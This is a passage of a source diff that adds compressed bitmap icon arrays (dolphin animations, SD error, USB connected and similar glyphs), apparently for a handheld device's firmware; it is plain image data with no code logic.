{0x01,0x00,0x19,0x01,0x00,0x1d,0x00,0x0f,0xd2,0x00,0x21,0xe0,0x3f,0xf0,0xf9,0x00,0x40,0xee,0x00,0x11,0x88,0x04,0x0e,0x18,0x11,0x18,0x8c,0x40,0x0e,0x50,0x30,0x10,0xc0,0xa1,0x01,0xe2,0x05,0x14,0x12,0x08,0x33,0x58,0x44,0x08,0x66,0xa1,0xe3,0x01,0x9c,0x83,0x00,0x24,0x11,0x11,0x06,0xc4,0x76,0x20,0x75,0x15,0x99,0x48,0xc0,0xe9,0x0f,0x03,0x95,0xfc,0x86,0x3c,0x09,0x80,0x1c,0x7c,0x00,0x91,0x81,0x48,0x2f,0xc1,0x41,0x8c,0xc0,0x20,0x30,0x1c,0x87,0xfc,0x0e,0x30,0x70,0x70,0x81,0xc7,0xe6,0x07,0x18,0x08,0x1c,0xb9,0x1e,0x38,0x0f,0x02,0x01,0xf0,0x03,0xa0,0xa4,0x7f,0x90,0x30,0x38,0xff,0xe0,0x28,0x21,0xff,0x06,0x44,0x0e,0x46,0xe1,0x01,0x8c,0x03,0x34,0x2f,0x25,0x18,0x80,0xc7,0x2a,0x03,0x2e,0x01,0x3c,0x70,0x12,0xa2,0x39,0x78,0x27,0xe0,0x31,0xea,0x82,0xc4,0x6c,0x31,0xf0,0x78,0xea,0xb0,0x22,0x31,0xfc,0x1a,0xc6,0x01,0x55,0x25,0x88,0xf8,0x4b,0x02,0x1f,0x13,0xe1,0x7f,0x97,0x85,0x15,0x03,0x90,0xf8,0xa0,0x10,0xa1,0xb1,0x0e,0x88,0x00,0x7f,0x0f,0xc0,0x7c,0x57,0x27,0x3c,0xb0,0x7f,0x5f,0xa9,0x1f,0xc0,0x6a,0xc5,0x05,0xc0,0xf0,0x11,0x46,0xac,0x18,0x3f,0xf9,0x54,0x75,0x00,0x73,0x1f,0x0f,0xfe,0xfe,0xc6,0x30,0x01,0xbc,0x48,0x00,0x84,0x82,0x00,0x1b,0x64,0xc0,0x07,0x60,0x03,0xb4,0x70,0x0c,0xbf,0x82,0x31,0x01,0x8d,0x0c,0x40,0x02,0x37,0x08,0x1d,0x74,0x00,0x76,0xa0,0x01,0xdb,0x01,0xfe,0x85,0x8b,0x96,0xaa,0x9b,0x30,0x01,0x6a,0xa3,0x40,0x75,0xaa,0x03,0xdb,0x50,0xbb,0x30,0x01,0x54,0x24,0x25,0xe6,0x51,0x08,0x1f,0x68,0x00,0x7f,0x03,0xf2,0x79,0xc0,0xf4,}; const uint8_t* const _I_DolphinReadingSuccess_59x63[] = {_I_DolphinReadingSuccess_59x63_0}; @@ -217,6 +223,9 @@ const uint8_t* const _I_Down_25x27[] = {_I_Down_25x27_0}; const uint8_t _I_Down_hvr_25x27_0[] = {0x01,0x00,0x3a,0x00,0xfc,0x7f,0xe7,0xf0,0x0f,0xe7,0xfe,0xff,0x00,0xff,0x7f,0xff,0xf0,0x00,0x10,0xff,0xe0,0x20,0x3f,0x01,0x9c,0x3e,0x01,0xe0,0x01,0xa4,0x7e,0x01,0xf0,0x80,0x8b,0x47,0xf1,0x01,0x16,0x8f,0xf0,0x2e,0x23,0x11,0x01,0x88,0x04,0xf0,0x60,0x32,0xe3,0x80,0xcb,0xde,0x37,0xf0,0x1a,0x95,0xcc,0xbe,0x66,0x73,}; const uint8_t* const _I_Down_hvr_25x27[] = {_I_Down_hvr_25x27_0}; +const uint8_t _I_Fill_marker_7x7_0[] = {0x00,0x1C,0x32,0x6F,0x5F,0x7F,0x3E,0x1C,}; +const uint8_t* const _I_Fill_marker_7x7[] = {_I_Fill_marker_7x7_0}; + const uint8_t _I_InfraredArrowDown_4x8_0[] = {0x00,0xFF,0x7E,0x3C,0x18,}; const uint8_t* const _I_InfraredArrowDown_4x8[] = {_I_InfraredArrowDown_4x8_0}; @@ -265,6 +274,9 @@ const uint8_t* const _I_Vol_up_25x27[] = {_I_Vol_up_25x27_0}; const uint8_t _I_Vol_up_hvr_25x27_0[] = {0x01,0x00,0x28,0x00,0xfc,0x7f,0xe7,0xf0,0x0f,0xe7,0xfe,0xff,0x00,0xff,0x7f,0xff,0xf0,0x00,0x10,0xff,0xe0,0x20,0x38,0xf7,0x80,0xfc,0x06,0xa2,0xd1,0xfc,0x00,0xd0,0x2f,0xe0,0x38,0x21,0xd8,0x0c,0x8a,0xe6,0x5f,0x33,0x39,0x80,}; const uint8_t* const _I_Vol_up_hvr_25x27[] = {_I_Vol_up_hvr_25x27_0}; +const uint8_t _I_Back3_45x8_0[] = {0x00,0x04,0x00,0x10,0x00,0x40,0x00,0x06,0x00,0x18,0x00,0x60,0x00,0x7F,0x00,0xFC,0x01,0xF0,0x07,0x86,0x20,0x18,0x82,0x60,0x08,0x04,0x71,0x10,0xC4,0x41,0x10,0x00,0x21,0x00,0x84,0x00,0x10,0x80,0x00,0x00,0x02,0x00,0x08,0x7E,0x00,0xF8,0x01,0xE0,0x07,}; +const uint8_t* const _I_Back3_45x8[] = {_I_Back3_45x8_0}; + const uint8_t _I_DoorLeft_70x55_0[] = {0x01,0x00,0x19,0x01,0x00,0x2c,0x32,0x01,0x03,0x04,0x2c,0x18,0x10,0xf0,0x40,0x47,0x82,0x06,0x81,0x03,0xff,0x80,0x08,0x1a,0x20,0x82,0x15,0x28,0x21,0x87,0x82,0x08,0x6f,0xc0,0xb1,0xe6,0x10,0x10,0x8b,0x46,0x20,0x43,0x55,0x8f,0x82,0x10,0x32,0x73,0x0a,0x09,0x89,0x6c,0x1e,0x09,0x00,0x18,0x60,0xf0,0x0c,0x84,0x93,0x82,0x03,0x18,0x0c,0x02,0x1d,0x00,0x90,0x52,0x70,0x50,0x1e,0x00,0x58,0x63,0x90,0x0a,0x06,0x4a,0x09,0x03,0xb0,0x02,0x06,0x70,0x62,0x49,0xf8,0x0c,0x66,0x3f,0xf0,0x41,0x63,0x04,0x43,0x00,0x99,0x60,0x00,0x85,0xc8,0x06,0x14,0xd0,0x80,0x3f,0xc8,0x0d,0xb8,0x10,0x70,0xf8,0x34,0x13,0x03,0x39,0x04,0x1c,0x42,0x19,0xf8,0xa0,0xc2,0x01,0x07,0xef,0x02,0x8c,0x80,0x10,0x9d,0x00,0x43,0xec,0x00,0xa3,0x10,0x04,0x25,0xce,0x19,0xfc,0x88,0x82,0x12,0x0c,0x35,0x10,0x42,0x4c,0xa1,0x90,0x3f,0xc0,0x21,0x22,0x39,0x82,0xc8,0x88,0xd2,0x11,0xf0,0x01,0x88,0xd5,0x18,0xe2,0x08,0x68,0x10,0x0c,0xa8,0x00,0x83,0x81,0xcc,0xd5,0xc3,0x80,0x84,0x82,0x0e,0xcc,0xc0,0x15,0x79,0x02,0x0b,0x98,0xf8,0x11,0x88,0x82,0x0f,0x31,0x19,0x02,0x08,0x2c,0x9f,0x6a,0x1d,0x20,0x41,0x31,0x4c,0x10,0x8d,0x73,0x04,0x23,0xa4,0xc4,0x6c,0xde,0x20,0x42,0xcc,0x01,0x07,0x07,0xff,0x80,0x06,0x3e,0x08,0x38,0x70,0x20,0xa1,0xe0,0x83,0x8e,0x01,0x0c,0xf0,0x73,0x80,0x43,0x70,0x05,0x08,0x00,0x2c,0x04,0xc4,0x46,0x53,0x09,0x98,0x24,0x80,0x65,0x80,0xb0,0xd9,0x84,0x65,0x32,0x06,0x17,0x0f,0x98,0x23,0x63,0xe1,0x88,0xc4,0x08,0x5f,0xc1,0x30,0x9d,0x84,0x4e,0x66,0x94,0x11,0x98,0x75,0x26,0x00,}; const uint8_t* const _I_DoorLeft_70x55[] = {_I_DoorLeft_70x55_0}; @@ -610,6 +622,9 @@ const uint8_t* const _I_RFIDDolphinSend_97x61[] = {_I_RFIDDolphinSend_97x61_0}; const uint8_t _I_RFIDDolphinSuccess_108x57_0[] = {0x01,0x00,0xe7,0x01,0x00,0x0f,0x03,0xff,0x1f,0x06,0xd4,0xe2,0x01,0xe0,0x06,0xd4,0x18,0x04,0x30,0x30,0x64,0x60,0x20,0x20,0x31,0x86,0x03,0x62,0x80,0x03,0x28,0x80,0x36,0x24,0x00,0x36,0x00,0x28,0x5c,0xc3,0xe6,0x00,0x58,0x40,0xec,0xc1,0xb1,0x04,0x02,0x19,0x24,0x80,0x0b,0x02,0x02,0x40,0x37,0xc4,0x8c,0x2e,0x40,0x6f,0x93,0x8b,0x81,0x07,0x06,0xdc,0xc2,0x38,0x66,0x50,0x6a,0xe2,0x27,0xe0,0xd2,0xfc,0x08,0x09,0x0c,0x9c,0x4b,0x98,0x34,0xa0,0xe1,0xd5,0x06,0x8f,0x92,0xc2,0x05,0x1e,0x42,0xe1,0x81,0xa3,0xe2,0xf0,0xbc,0x4c,0x1a,0xff,0x2f,0x9b,0x80,0xd8,0xca,0x05,0x1f,0x97,0xfd,0xf8,0x60,0xd2,0x01,0x1e,0x00,0x1a,0x5c,0x00,0x08,0xc9,0xc1,0xab,0x40,0xf9,0x83,0x46,0x61,0x00,0xd8,0x4a,0x81,0xab,0xa0,0xf3,0x5f,0xc6,0x05,0x58,0x8a,0xa4,0x09,0x76,0x21,0xb1,0xf2,0x83,0x4f,0x5d,0x1a,0x01,0x8c,0x90,0x1a,0x31,0x0d,0x07,0xa9,0x16,0x50,0x0a,0xac,0x34,0xba,0x42,0xa1,0x88,0x50,0x23,0xaa,0x72,0xe0,0x6a,0xa1,0x4a,0x32,0x39,0x88,0x6c,0x60,0xc7,0x82,0xb0,0x55,0x60,0xa2,0x92,0x80,0xc0,0x43,0x63,0x03,0x25,0x96,0xe3,0x54,0x33,0x18,0xc4,0x90,0x22,0x21,0x81,0x81,0x03,0x4a,0xa9,0x55,0x7a,0x17,0xf3,0x82,0x9f,0x6d,0x5e,0xa9,0xb6,0x50,0x38,0x70,0x35,0x70,0x15,0x5a,0xa9,0xb8,0xa3,0x46,0x12,0x06,0x9f,0x83,0x54,0x8a,0x28,0x80,0x34,0xfc,0x08,0x93,0xaa,0xc7,0x40,0x83,0x83,0x81,0xd3,0xa1,0xd1,0x08,0x84,0x0c,0x24,0x3f,0xed,0x54,0x18,0x26,0x50,0x20,0xd9,0x42,0x21,0x90,0x4c,0x07,0xff,0xae,0x52,0x20,0x6a,0xc4,0x23,0x1f,0x88,0x3f,0xf0,0x1a,0x45,0x31,0xe7,0x03,0x4a,0x41,0xe0,0x69,0x0f,0xc2,0x1e,0x0d,0x19,0x80,0x48,0xa2,0x10,0xc5,0x68,0xdf,0x0a,0x82,0xb9,0x28,0x22,0x2c,0xe3,0x0a,0xd1,0x2b,0x0f,0x00,0x3c,0x22,0x91,0x53,0x9c,0x50,0x1a,0x30,0x08,0x39,0x1c,0x60,0x6d,0x12,0x3d,0x8c,0xc2,0x51,0x00,0x17,0x0c,0xe2,0x01,0xff,0x83,0x84,0xc6,0x40,0xb0,0x19,0x84,0xd0,0x1a,0x5c,0x08,0x1f,0xf8,0x8c,0x50,0x43,0x08,0xce,0x2d,0x06,0x71,0x5f,0x17,0xfe,0x12,0xdf,0x20,0x69,0x55,0x01,0xa6,0x00,0x18,0x40,0xa4,0x80,0x63,0x3c,0xb5,0x03,0x56,0x08,0x8b,0x20,0x10,0xcf,0x03,0x62,0x08,0x20,0x00,0x94,0xc6,0x01,0x70,0x01,0x0c,0xe8,0x36,0x20,0xd3,0xe0,0x00,0xcb,0x10,0x02,0x19,0xf3,0x9c,0x41,0xa3,0x15,0x31,0x90,0x00,0x70,0xc0,0x21,0xdd,0x86,0xc4,0x78,0x3e,0xa3,0x71,0xe0,0x30,0x20,0x31,0xbe,0x86,0xc4,0x1a,0x35,0x40,0x20,0x8d,0x89,0x28,0x5b,0xa0,0xd9,0xea,0x3d,0x44,0x42,0x87,0x83,0x48,0x36,0x49,0xe1,0xa0,0x75,0x67,0x8d,0x41,0x54,0x14,0x03,0xf5,0x2a,0x06,0x96,0x03,0x54,0xc4,0x14,0xd0,0x83,0x4a,0xfb,0x35,0x06,0x90,0x38,0x4e,0x46,0xb4,0x10,0xd9,0x81,0x49,0x72,0x40,0x01,0x0a,0x95,0xd4,0x36,0x20,0xd7,0x55,0x10,}; const uint8_t* const _I_RFIDDolphinSuccess_108x57[] = {_I_RFIDDolphinSuccess_108x57_0}; +const uint8_t _I_SDError_43x35_0[] = {0x01,0x00,0x6f,0x00,0xff,0x7f,0xc0,0x05,0x03,0x80,0x82,0x8e,0x08,0x05,0x59,0xe8,0x16,0x82,0x2d,0x30,0x8c,0x43,0x20,0xc0,0x51,0xb0,0x43,0x23,0x10,0x30,0x88,0xf0,0x20,0xdb,0x08,0x08,0x2c,0x70,0x10,0x3f,0x00,0x5c,0x80,0xa8,0x11,0x60,0xea,0x0a,0x54,0x8f,0xe5,0x99,0xfe,0x4f,0xc0,0xa6,0x70,0x10,0x89,0x60,0x23,0xff,0x91,0xa9,0x70,0x25,0xff,0x21,0xa9,0x70,0x2b,0xfe,0x42,0xc9,0x60,0x30,0x7e,0x40,0x89,0x42,0x30,0x12,0x08,0x80,0x14,0xa0,0x11,0x10,0x28,0xc0,0x66,0x10,0x08,0x74,0x30,0x8f,0xe0,0x58,0x5c,0x88,0x14,0xc0,0x43,0x01,0x8f,0x81,0x4f,0x05,0x20,0x02,0x9f,0xf3,0x80,0xcb,0x10,}; +const uint8_t* const _I_SDError_43x35[] = {_I_SDError_43x35_0}; + const uint8_t _I_SDQuestion_35x43_0[] = {0x01,0x00,0x67,0x00,0xf8,0x7f,0xc0,0x03,0x03,0xfc,0x01,0x0a,0x0f,0x38,0xa4,0xe4,0xa4,0x80,0x4f,0x0c,0x20,0x13,0xc0,0x9f,0x80,0x02,0x15,0xfe,0x00,0x04,0x29,0xfc,0x03,0xfd,0x07,0xfa,0x47,0xe7,0xdf,0xc8,0x3f,0xea,0x1f,0x7f,0xfc,0x41,0xff,0xb8,0xff,0xf8,0x10,0x7f,0xe0,0x4e,0xef,0x86,0x08,0x68,0x33,0xf1,0x10,0xff,0x3f,0xf1,0xf1,0x60,0x81,0x06,0x1e,0x36,0x10,0x20,0xe1,0xc0,0x87,0xc7,0x02,0x0f,0xd3,0xff,0xe3,0x02,0x0f,0xe8,0x08,0x7f,0xd0,0x21,0x89,0xc4,0x08,0x9f,0x70,0x21,0x9a,0x08,0x08,0xc1,0x89,0x02,0x20,0x62,0x40,0x8f,0xfe,0x68,0x98,}; const uint8_t* const _I_SDQuestion_35x43[] = {_I_SDQuestion_35x43_0}; @@ -658,6 +673,9 @@ const uint8_t* const _I_SDcardFail_11x8[] = {_I_SDcardFail_11x8_0}; const uint8_t _I_SDcardMounted_11x8_0[] = {0x01,0x00,0x09,0x00,0xff,0xc1,0xff,0xf0,0x40,0x1c,0xd9,0xe0,0x00,}; const uint8_t* const _I_SDcardMounted_11x8[] = {_I_SDcardMounted_11x8_0}; +const uint8_t _I_USBConnected_15x8_0[] = {0x00,0xF0,0x07,0x08,0x7C,0x04,0x44,0x07,0x54,0x07,0x54,0x04,0x44,0x08,0x7C,0xF0,0x07,}; +const uint8_t* const _I_USBConnected_15x8[] = {_I_USBConnected_15x8_0}; + const uint8_t _I_Lock_7x8_0[] = {0x00,0x1C,0x22,0x22,0x7F,0x7F,0x77,0x7F,0x3E,}; const uint8_t* const _I_Lock_7x8[] = {_I_Lock_7x8_0}; @@ -691,6 +709,9 @@ const uint8_t* const _I_Error_62x31[] = {_I_Error_62x31_0}; const uint8_t _I_Updating_32x40_0[] = {0x01,0x00,0x56,0x00,0xc0,0x7f,0xc0,0x03,0xc0,0x01,0x97,0x82,0x07,0x00,0xe0,0x5c,0x00,0x65,0x38,0x01,0x94,0x70,0x06,0x50,0xe0,0x19,0x41,0xc0,0x65,0xff,0x01,0xb4,0x0c,0x02,0x7e,0x08,0x38,0x0c,0x7c,0xd6,0x70,0x18,0xfb,0xfe,0xfc,0x0c,0x18,0xc8,0x78,0x20,0x33,0x81,0x8f,0x8a,0x07,0x3e,0xbe,0x70,0x38,0x71,0xff,0xc7,0x0f,0xc7,0x0f,0xf8,0x71,0xc0,0x76,0x13,0x30,0xd9,0x88,0xcc,0x5f,0x03,0xb2,0x21,0xa1,0x2c,0xc0,0x26,0x82,0x10,0x1f,0x80,0xd1,0x24,0x40,0x04,}; const uint8_t* const _I_Updating_32x40[] = {_I_Updating_32x40_0}; +const uint8_t _I_DolphinExcited_64x63_0[] = {0x01,0x00,0x36,0x01,0x00,0x25,0x00,0x0f,0xd2,0x00,0x3b,0xe0,0x00,0xeb,0x10,0x0c,0x34,0x40,0x30,0xd0,0x88,0x80,0x1d,0xa1,0x00,0x42,0xfc,0x7f,0xc0,0x63,0x04,0x01,0x0e,0x02,0x0f,0x00,0x00,0x8c,0x08,0x0e,0x37,0x00,0x10,0xc6,0x20,0x10,0x10,0xd9,0x11,0x92,0x1c,0x1a,0x3e,0x00,0x04,0x42,0x02,0x1a,0x20,0xb0,0xce,0x00,0x64,0x07,0x20,0x59,0x16,0x50,0x36,0x45,0x94,0x84,0x78,0x20,0x60,0x75,0x8e,0x43,0x06,0x63,0x3c,0x33,0x94,0x0c,0xd2,0x5c,0x30,0x38,0xe4,0x08,0x43,0x10,0xc0,0x5e,0x06,0x22,0x53,0x1a,0x02,0x08,0x7f,0xd0,0x32,0xc1,0x50,0x21,0x14,0x0e,0x70,0x1c,0x46,0xe2,0x07,0x19,0x06,0x3c,0xdc,0x20,0x91,0xae,0x01,0xcc,0xbe,0x30,0x09,0xfc,0x12,0x41,0xff,0x83,0xcc,0x0a,0xa3,0x1f,0x03,0x99,0xe8,0x7c,0x10,0xf8,0x25,0xa0,0x5e,0x50,0x0f,0x84,0x1e,0x09,0x54,0x03,0x9f,0xf2,0x07,0x02,0xd5,0x11,0xca,0x01,0xfe,0x80,0xc0,0xaa,0x9f,0xf0,0x39,0x5f,0xd0,0x43,0xaa,0x83,0x41,0x92,0xc3,0x1f,0x03,0x8d,0x52,0x02,0x2e,0x25,0xc9,0x6a,0x99,0x46,0xa6,0x2a,0xa0,0x1c,0xaf,0xca,0x62,0x94,0x28,0xcb,0x7e,0x0f,0x15,0x71,0xf8,0x3c,0x22,0x71,0x03,0x8a,0x84,0x67,0x18,0x0f,0xac,0x1c,0x0e,0x38,0x08,0x0c,0x3e,0x01,0xae,0xbd,0x13,0x0c,0x0e,0x35,0x8e,0xa8,0x1c,0xb0,0x1f,0xf8,0x06,0x83,0xf4,0x27,0x38,0x07,0xff,0xff,0x8f,0x03,0xa0,0x4c,0x80,0xed,0x60,0x03,0xb4,0x60,0x0e,0xd0,0x60,0x3a,0x87,0x84,0x0e,0xb7,0xc2,0xfa,0x18,0x05,0x44,0x20,0x73,0xff,0xf7,0xce,0xe4,0x07,0x2d,0x52,0x2c,0x80,0xe7,0x54,0xea,0x81,0xd7,0x50,0x0f,0x7a,0xaa,0x3d,0x41,0xe2,0x07,0x5a,0x80,0x3c,0xa0,0x40,0x72,0xd0,0x6a,0x80,0xa2,0x07,0x3a,0x05,0x54,0x8e,0x20,0x73,0xc0,0x03,0xd8,0x60,0x30,0x40,0x3a,0xc0,0x00,0xee,0xea,0x10,0x3b,0x80,}; +const uint8_t* const _I_DolphinExcited_64x63[] = {_I_DolphinExcited_64x63_0}; + const uint8_t _I_DolphinMafia_115x62_0[] = {0x01,0x00,0x21,0x02,0x00,0x1e,0x02,0x06,0x0e,0xcb,0x04,0x10,0x1d,0x91,0x88,0x40,0x3b,0x20,0xc0,0xec,0xc0,0x40,0x62,0x03,0xac,0x80,0x03,0xb2,0x31,0x00,0x90,0x03,0xae,0x5e,0x0e,0xcf,0xc4,0x56,0x01,0x40,0x07,0x56,0xbe,0x14,0x0e,0x2f,0xf1,0x5e,0x2a,0xa1,0xd1,0xc0,0x7c,0x3f,0xf0,0x70,0x73,0x70,0x35,0x41,0xd1,0xc0,0x7f,0xff,0xf0,0xf0,0x73,0x50,0x03,0xa4,0x0d,0x10,0x74,0x07,0x46,0x55,0xe0,0x07,0x10,0xb1,0xc3,0xa3,0x55,0xfe,0x03,0x88,0x94,0xe1,0xd1,0xd5,0x03,0x4a,0x3e,0x59,0x9e,0xaf,0xfe,0xff,0x05,0x60,0x4e,0xab,0xf5,0xff,0x95,0xb4,0xa4,0x3a,0x3f,0xd0,0xe0,0xfa,0x20,0x20,0xf8,0xd5,0xff,0xb5,0xf0,0x0f,0x88,0x3a,0x6a,0xbf,0xf8,0xaf,0x82,0x6f,0x03,0x07,0x47,0xaf,0xff,0x0a,0xfe,0x5f,0xc1,0xd3,0xf6,0xbf,0xe0,0x7f,0xfe,0xf0,0x73,0x41,0x00,0x43,0xfa,0xd7,0xf8,0x27,0xfe,0xe0,0x73,0x40,0x80,0x43,0xfe,0xab,0xfe,0x21,0xfc,0xe5,0x9b,0x05,0x48,0xea,0x3f,0xc8,0xfa,0xc4,0x66,0x07,0x44,0x0e,0x8f,0x00,0xb0,0x2b,0x31,0x07,0x0f,0x00,0x1c,0x72,0x00,0x70,0xf8,0x37,0xe5,0x81,0xff,0x89,0x08,0xf2,0x71,0x80,0x20,0xfe,0x2b,0xf0,0x5f,0xc0,0x38,0xc8,0xa5,0x60,0xc3,0x00,0xc7,0xf9,0xaf,0x81,0x2d,0x04,0x34,0x40,0xe1,0x98,0x47,0x68,0x04,0x92,0xab,0xc0,0x7e,0xb7,0xf7,0x39,0x03,0x85,0x8e,0x24,0xf1,0xc0,0x7f,0xf5,0x78,0x0f,0x53,0xb4,0xbc,0x1f,0xb8,0x1a,0x0c,0x61,0xc5,0x82,0xab,0xc0,0x3e,0xa3,0xa2,0xfc,0x07,0x46,0x09,0x60,0x19,0x8f,0x80,0xec,0x38,0x08,0x52,0x6c,0xb8,0xdc,0x28,0x7c,0x10,0x2a,0x5f,0x0f,0xfc,0x5a,0x01,0x05,0x1a,0x8e,0x02,0x02,0x1d,0x1f,0x81,0xa8,0xbe,0x13,0xf8,0x52,0x2c,0x8c,0x62,0x77,0x42,0x11,0x40,0xe0,0xca,0x93,0x8e,0x03,0x8a,0x30,0x10,0x48,0x54,0x03,0x04,0xbb,0x2c,0x00,0x0c,0x64,0x80,0xe4,0x0e,0x88,0x38,0x7c,0x10,0x04,0x09,0x48,0x83,0xac,0x1b,0x18,0xf3,0x44,0xc1,0xca,0x1d,0x15,0x40,0x8e,0x05,0x02,0x20,0xe6,0x24,0x12,0x8c,0x8b,0x05,0x21,0x07,0x24,0x14,0x08,0x73,0x80,0x19,0x78,0x43,0xb2,0xff,0x15,0x30,0xc4,0x01,0x26,0x8f,0x14,0x61,0xa9,0x8a,0x09,0x10,0x02,0x12,0x1c,0x80,0x84,0xaf,0x10,0x71,0xaa,0xc4,0x00,0x3b,0x04,0xea,0x24,0x48,0x1c,0xbd,0x8f,0xf8,0x00,0x67,0xf0,0x09,0x40,0x20,0x61,0x00,0xe4,0xf6,0x07,0x4b,0xc1,0x1f,0x07,0x14,0x40,0x1c,0x9d,0x66,0x79,0x24,0xc6,0xa0,0x0e,0x32,0x51,0xfa,0xce,0xe7,0x50,0x07,0x1c,0x80,0x30,0x58,0x0e,0xa2,0xcc,0xa0,0x19,0x00,0x71,0x42,0x13,0x27,0x40,0xf5,0x45,0x41,0xc5,0x08,0xb0,0x80,0xc6,0x18,0xf2,0x28,0x04,0x83,0xe8,0x58,0x10,0x30,0xc2,0x2c,0x40,0x91,0x89,0x3c,0x88,0x62,0x21,0xd2,0xff,0x03,0x87,0xc8,0x12,0x19,0x08,0x39,0x3e,0x83,0xb2,0x4a,0x0e,0xa2,0x0d,0xc0,0xe0,0x50,0x06,0xa7,0xe8,0x2c,0x94,0xc2,0x09,0x50,0x8c,0xce,0x20,0x34,0x70,0x71,0x41,0x3e,0x85,0xe2,0xe0,0x41,0x38,0x1e,0x28,0x3c,0x19,0xc8,0x70,0x4f,0xc1,0xdc,0xe0,0x74,0x01,0xd8,0xc6,0x24,0x00,0x82,0x81,0x7c,0x12,0xa6,0x7e,0x10,0x28,0xd8,0x22,0x00,0xe3,0xfc,0x34,0x53,0x00,0x23,0x1c,0x04,0x44,0x0e,0x50,0x10,0xeb,0x17,0xca,0x1c,0x07,0x20,}; const uint8_t* const _I_DolphinMafia_115x62[] = {_I_DolphinMafia_115x62_0}; @@ -700,6 +721,9 @@ const uint8_t* const _I_DolphinNice_96x59[] = {_I_DolphinNice_96x59_0}; const uint8_t _I_DolphinWait_61x59_0[] = {0x01,0x00,0x56,0x01,0x00,0x17,0xfa,0x1e,0x06,0x4f,0x84,0x06,0xe0,0x07,0x48,0x64,0x03,0x01,0x01,0x03,0x9c,0x0c,0x04,0x30,0x60,0x31,0x70,0x00,0x65,0x08,0x01,0x94,0xc0,0x06,0x51,0x00,0x5b,0x48,0x00,0x65,0x04,0x01,0x95,0x00,0x82,0xd8,0x00,0x19,0x40,0x7e,0x00,0x75,0x1f,0x88,0xe0,0x88,0x02,0x1a,0x1f,0x94,0x14,0x0e,0xbf,0x98,0x58,0x5c,0x42,0x45,0x00,0x9e,0x99,0x87,0x01,0x02,0x11,0x94,0xf2,0x2e,0x03,0x18,0x39,0x28,0x70,0x1f,0xc0,0x3e,0x42,0x00,0xe5,0x80,0xff,0xdf,0xc0,0xe5,0xf8,0x85,0xd8,0x10,0x27,0x40,0xf9,0xc2,0x63,0x88,0x12,0x82,0x6a,0x20,0x50,0x41,0xe9,0x42,0x20,0x95,0x48,0x6e,0x0c,0xfa,0x9a,0xaf,0xf9,0x90,0xe2,0x10,0x2e,0xac,0xe0,0x0e,0x98,0x29,0x52,0x11,0x13,0x23,0x15,0x3e,0x20,0x3c,0x61,0x40,0x52,0xfc,0x4f,0xe2,0x10,0x38,0x68,0x1c,0xa0,0xfc,0x08,0xbe,0x04,0x1e,0x5e,0x01,0xb9,0x03,0xc5,0x60,0x24,0xf2,0x84,0x60,0x63,0x40,0x71,0x27,0x9c,0x0e,0x2b,0x04,0x6c,0xa4,0x06,0x15,0x08,0x6c,0x99,0x8c,0xa6,0x0f,0x81,0x00,0x0c,0x08,0xf0,0x3c,0x05,0x61,0xc0,0x40,0x86,0xd0,0x30,0x78,0x80,0x0c,0xc6,0x2b,0x92,0x00,0x0d,0x51,0xf0,0x2d,0x42,0x0a,0x8e,0xaa,0x34,0x0f,0x4a,0x85,0x55,0x6e,0x20,0xf3,0xd5,0x6a,0x84,0xa2,0x66,0x2a,0x05,0xf7,0xaa,0x07,0x18,0xaf,0xfb,0x7f,0xea,0xc1,0xef,0xc0,0xe3,0xea,0x80,0xf8,0x27,0xf0,0x0a,0xc0,0x1c,0x67,0xa2,0xd1,0xb1,0xc0,0x34,0x00,0x71,0x14,0x8f,0x00,0x98,0x34,0x02,0x69,0xd0,0x37,0x90,0x16,0xf1,0x00,0x06,0xe1,0x84,0x31,0x89,0x14,0xe9,0xdc,0x40,0x38,0xa4,0xc4,0x4c,0x3c,0x1f,0x88,0x8c,0x5b,0xc3,0x01,0xbc,0x40,0x3f,0xf0,0xf6,0x71,0x0c,0x0b,0xe0,0x07,0x3c,0x0a,0xf8,0xa3,0xf0,0x03,0xb8,0xd8,0x80,0xe8,0x87,0x1b,0xa8,0x1c,0x78,0x1f,0xf8,0x0e,0x7e,0x01,0x6a,0x03,0x94,0x0f,0xfd,0xa0,0x80,0x7d,0x49,0x04,0x4d,0x12,0xc0,0xfa,0x83,0x83,0xbe,0x26,0x8d,0x02,0x05,0xd5,0xff,0xff,0xeb,0xe9,0x31,0x90,0x40,0x80,}; const uint8_t* const _I_DolphinWait_61x59[] = {_I_DolphinWait_61x59_0}; +const uint8_t _I_iButtonDolphinSuccess_109x60_0[] = {0x01,0x00,0xac,0x01,0x00,0x17,0xfe,0x1e,0x0c,0xaf,0x04,0x02,0xe0,0x0d,0xa8,0xf4,0x03,0x01,0x03,0x06,0x46,0x02,0x02,0x03,0x18,0xe0,0x36,0x2c,0x00,0x36,0x00,0x2c,0x40,0x3e,0x60,0xd8,0x84,0x01,0x0c,0x5a,0x40,0x05,0x82,0x01,0x0e,0x04,0x0d,0x70,0x42,0x04,0x90,0x49,0x02,0xe4,0x20,0x41,0x28,0xc0,0x07,0x40,0x06,0xf8,0x00,0xa4,0x00,0xd6,0x03,0xa8,0x37,0x44,0x2a,0x31,0x74,0xd3,0x83,0x57,0x80,0x0d,0xc7,0x18,0xa9,0xa8,0x36,0x2a,0x86,0x06,0x8d,0xfc,0x36,0x60,0xd7,0xc0,0x3b,0x8c,0x36,0xf0,0x4a,0x05,0xf9,0x6e,0x5e,0x06,0x23,0x41,0x24,0x1f,0xf6,0x01,0x74,0x01,0xb1,0xe3,0x82,0x81,0x47,0x40,0x0d,0x7c,0x87,0x8e,0x12,0x05,0x1a,0x84,0x0d,0xb6,0xa0,0xd2,0x85,0x86,0xc8,0x1a,0x50,0x40,0x69,0x40,0xb2,0x1f,0xf0,0x69,0x50,0x01,0xa5,0x08,0xfc,0x03,0x5f,0x60,0x0d,0x28,0x84,0x1a,0x07,0x18,0x06,0xaf,0x00,0x1a,0x3c,0x03,0xb8,0xc3,0x20,0xd0,0x28,0x87,0xfc,0x8a,0x50,0x08,0x78,0x08,0x70,0x77,0x0c,0x44,0x06,0x05,0x30,0xff,0x18,0x4a,0x01,0x30,0x01,0x0d,0x33,0x19,0x11,0x1b,0x8c,0xa2,0xf8,0x7d,0x27,0x71,0xd0,0x20,0x51,0x20,0x68,0xd5,0x00,0x42,0x0d,0x2c,0x00,0x08,0x64,0x10,0x19,0x20,0x28,0x75,0x07,0x53,0x3d,0x18,0x35,0x2a,0x9f,0xf4,0x9a,0x41,0x90,0x23,0x00,0x94,0x43,0xe0,0x5e,0xae,0x03,0x9d,0xb4,0xe0,0xd1,0x0d,0x8c,0xd0,0x52,0xb1,0x00,0xd9,0x83,0x46,0x34,0x45,0x41,0xa8,0x9f,0x86,0x01,0x14,0x05,0x08,0x08,0x81,0xa6,0x62,0x10